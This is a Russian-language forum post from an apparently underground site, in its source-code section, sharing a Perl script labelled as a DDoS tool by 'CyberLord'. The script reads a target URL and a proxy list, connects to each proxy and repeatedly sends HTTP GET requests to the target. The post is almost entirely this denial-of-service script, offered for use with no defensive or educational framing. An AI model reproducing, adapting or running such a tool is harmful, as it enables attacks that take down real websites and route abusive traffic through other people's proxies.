1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[PERL]DDOS Proxy

Тема в разделе "Исходные коды", создана пользователем hisg, 6 июн 2015.

  1. TopicStarter Overlay
    hisg

    hisg

    Регистрация:
    6 июн 2015
    Сообщения:
    22
    Симпатии:
    1
    Код:
    #!/usr/bin/perl
    use IO::Socket;
    print "\n\n\n[DDoS with proxies by CyberLord 2013]\n";
    print "[GET FRESH PROXY LIST FROM: http://nntime.com/]\n";
    print "The proxy list must be like this:\n";
    print "89.218.100.58:9090\n82.200.253.242:9090\n2.135.24 2.10:9090\n2.133.93.86:8082\n";
    print "[Bulgarian Cyber Army]\n\n\n";
    print "Target:";
    print "\nEx: http://site.com/\n";
    chomp(my $site=<STDIN>);
    print "Proxy List:";
    print "\nEx: proxy.txt\n";
    chomp(my $proxylist=<STDIN>);
    print "Cycles:";
    print "\nEx: 2\nIf the online proxies from the list is 360 the connections will be 720\n";
    chomp(my $num=<STDIN>);
    open(IN, "<$proxylist") || die "Cannot open proxylist file!\n";
    @proxylist = <IN>;
    close(IN);
    print "Connecting . . . .\n";
    foreach $proxy(@proxylist){
    $server = ((split(/:/, $proxy))[0]);
    $port = ((split(/:/, $proxy))[1]);
    $remote = IO::Socket::INET->new(
    Proto => 'tcp',
    PeerAddr => $server,
    PeerPort => $port,
    Timeout => 0.5,
    );
    $i2++;
    if($remote){
    $i4++;
    $connections[$i4] = $remote;
    }
    }
    while($i3 <= ($num-1)){
    $i3++;
    foreach $connect(@connections){
    if($connect){
    if($i3 == 1){
    $i++;
    }
    $i5++;
    print $connect "GET $site HTTP/1.1\n\n";
    }
    }
    }
    
    
    print $i2." proxies and ".$num." cycles with ".$i5." connections from ".$i." proxies online.";
    
     
    Метки:

Поделиться этой страницей

Загрузка...